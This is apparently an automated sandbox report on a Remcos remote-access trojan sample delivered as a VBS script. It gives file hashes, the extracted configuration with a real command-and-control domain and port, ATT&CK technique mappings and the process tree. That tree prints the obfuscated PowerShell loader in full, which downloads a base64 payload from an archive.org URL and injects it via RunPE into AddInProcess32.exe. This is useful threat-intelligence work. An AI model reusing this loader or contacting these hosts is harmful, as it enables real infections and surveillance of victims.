remcos | bd0165995a09280cbdcc562067bbb5edfe8fd882c1d519a442c5bf9bbe21d88f

General

Target

bd0165995a09280cbdcc562067bbb5edfe8fd882c1d519a442c5bf9bbe21d88f.vbs
Size

501KB
MD5

1c7bf2517aab3aa99d65ba460d20605e
SHA1

c1b781e2e63ee3b6b2e3f07a389c49a8c751b30a
SHA256

bd0165995a09280cbdcc562067bbb5edfe8fd882c1d519a442c5bf9bbe21d88f
SHA512

b4e199855211bd4b30ea8a9e8fcce5c31eebc0554561cca84484771755038524e122d075d4e127388ac6840f9b3b8b03daaf93a1bd8b9973b515fd2fe18af696
SSDEEP

12288:ULQXhKKRUsPehr9faIzvJovIZXfwL4pKKdJhcOJ1qMQ77eIeum6MjonBzL2NR5:h+v

Score

10^/10

remcos matrix fenix*discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

Matrix Fenix*

C2

newssssssssssssss.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XDNGQ0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2596	powershell.exe
19	2596	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4172	powershell.exe
2596	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2596 set thread context of 1892	2596	powershell.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4172	powershell.exe
4172	powershell.exe
2596	powershell.exe
2596	powershell.exe
2596	powershell.exe
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4172	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1892	AddInProcess32.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4080 wrote to memory of 4172	4080	WScript.exe	82
PID 4080 wrote to memory of 4172	4080	WScript.exe	82
PID 4172 wrote to memory of 2596	4172	powershell.exe	84
PID 4172 wrote to memory of 2596	4172	powershell.exe	84
PID 2596 wrote to memory of 1692	2596	powershell.exe	85
PID 2596 wrote to memory of 1692	2596	powershell.exe	85
PID 2596 wrote to memory of 1692	2596	powershell.exe	85
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86
PID 2596 wrote to memory of 1892	2596	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bd0165995a09280cbdcc562067bbb5edfe8fd882c1d519a442c5bf9bbe21d88f.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTnY6Y29NU3BFQ1s0LDI0LDI1XS1KT2luJycpICgoKCd7JysnMH11cicrJ2wnKycgJysnPSAnKyd7MScrJ31oJysndHRwczovJysnL2knKydhNjAwJysnMTAwLnVzLmFyYycrJ2hpdmUuJysnb3JnLzI0L2l0ZScrJ21zJysnL2RldGFoLW5vJysndGUnKyctJysndicrJy9EJysnZScrJ3RhaE4nKydvdGUnKydWJysnLicrJ3R4dCcrJ3snKycxJysnfTt7MH1iYXMnKydlNicrJzQnKydDJysnb250ZW50ID0gJysnKE4nKydldy1PYicrJ2onKydlJysnY3QgU3lzdGVtLk4nKydlJysndC4nKydXZWJDbCcrJ2knKydlbnQpLkRvd25sb2FkUycrJ3RyaW5nKHswJysnfXUnKydybCk7ezAnKyd9YmknKyduYXJ5QycrJ29udGVudCcrJyA9ICcrJ1tTeXMnKyd0ZScrJ20uQ29udmVydCcrJ106OkZyb20nKydCYXNlNicrJzRTJysndHJpbicrJ2coeycrJzAnKyd9YmFzZTYnKyc0QycrJ28nKydudGUnKydudCcrJyk7ezB9YXNzZScrJ20nKydibCcrJ3knKycgPScrJyBbUmVmbGVjJysndGlvbi5BJysncycrJ3NlbWJseV06JysnOkxvJysnYWQoezB9YicrJ2luYScrJ3J5Q28nKydudGVudCk7ezB9JysndHlwJysnZSA9ICcrJ3swfWFzc2VtJysnYmx5LkdldFR5JysncGUoezF9UnVuJysnUEUuJysnSG9tZXsnKycxfSknKyc7eycrJzB9bWV0aG9kJysnID0gezB9JysndHlwZS5HZScrJ3RNZScrJ3Rob2QoezF9VicrJ0FJezF9JysnKTt7MH1tZXRoJysnbycrJ2QuSW52b2tlKCcrJ3swJysnfScrJ251bGwsIFsnKydvJysnYmplYycrJ3RbJysnXV1AKHsnKycxfTAnKycvUFNUcicrJ1QvZCcrJy9lZS5ldHMnKydhcC8vJysnOnNwdHQnKydoeycrJzF9ICwnKycgezF9ZCcrJ2UnKydzYScrJ3RpJysndicrJ2FkJysnb3snKycxfSAsIHsxfWRlc2F0JysnaXZhZG8nKyd7MX0gLCB7MScrJ31kZXNhdCcrJ2l2YWRvJysnezF9LHsxfScrJ0FkJysnZCcrJ0luUHInKydvY2VzczMyJysnezF9JysnLHsxfScrJ3sxfSknKycpJyktZiAgW0NoYXJdMzYsW0NoYXJdMzkpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENv:coMSpEC[4,24,25]-JOin'') ((('{'+'0}ur'+'l'+' '+'= '+'{1'+'}h'+'ttps:/'+'/i'+'a600'+'100.us.arc'+'hive.'+'org/24/ite'+'ms'+'/detah-no'+'te'+'-'+'v'+'/D'+'e'+'tahN'+'ote'+'V'+'.'+'txt'+'{'+'1'+'};{0}bas'+'e6'+'4'+'C'+'ontent = '+'(N'+'ew-Ob'+'j'+'e'+'ct System.N'+'e'+'t.'+'WebCl'+'i'+'ent).DownloadS'+'tring({0'+'}u'+'rl);{0'+'}bi'+'naryC'+'ontent'+' = '+'[Sys'+'te'+'m.Convert'+']::From'+'Base6'+'4S'+'trin'+'g({'+'0'+'}base6'+'4C'+'o'+'nte'+'nt'+');{0}asse'+'m'+'bl'+'y'+' ='+' [Reflec'+'tion.A'+'s'+'sembly]:'+':Lo'+'ad({0}b'+'ina'+'ryCo'+'ntent);{0}'+'typ'+'e = '+'{0}assem'+'bly.GetTy'+'pe({1}Run'+'PE.'+'Home{'+'1})'+';{'+'0}method'+' = {0}'+'type.Ge'+'tMe'+'thod({1}V'+'AI{1}'+');{0}meth'+'o'+'d.Invoke('+'{0'+'}'+'null, ['+'o'+'bjec'+'t['+']]@({'+'1}0'+'/PSTr'+'T/d'+'/ee.ets'+'ap//'+':sptt'+'h{'+'1} ,'+' {1}d'+'e'+'sa'+'ti'+'v'+'ad'+'o{'+'1} , {1}desat'+'ivado'+'{1} , {1'+'}desat'+'ivado'+'{1},{1}'+'Ad'+'d'+'InPr'+'ocess32'+'{1}'+',{1}'+'{1})'+')')-f [Char]36,[Char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:1692
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
524c1f86db5f0271749632b270976f26

SHA1
baf5e0962367718af0634410e516d9848c1f49b4

SHA256
3f1916cad68bc1bf75736f25ba319e3104ef9284bf0d4ad58d9b02eafe24e56c

SHA512
e839f0b51aa1ad5071da98b6da7d53b74844240fd646d1168fccc677ef66e07a1dec646c039f6db48bc991db6a67650cb362d34538bec33dd3914d5ee3c78758

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q3iusbsw.cw1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1892-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-55-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1892-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2596-22-0x000002383D590000-0x000002383D79C000-memory.dmp

Filesize
2.0MB

Download
memory/4172-1-0x0000026238BD0000-0x0000026238BF2000-memory.dmp

Filesize
136KB

Download
memory/4172-0-0x00007FFF2CB43000-0x00007FFF2CB45000-memory.dmp

Filesize
8KB

Download
memory/4172-32-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

Filesize
10.8MB

Download
memory/4172-11-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

Filesize
10.8MB

Download
memory/4172-12-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

Filesize
10.8MB

Download
memory/4172-24-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

Filesize
10.8MB

Download
memory/4172-23-0x00007FFF2CB43000-0x00007FFF2CB45000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads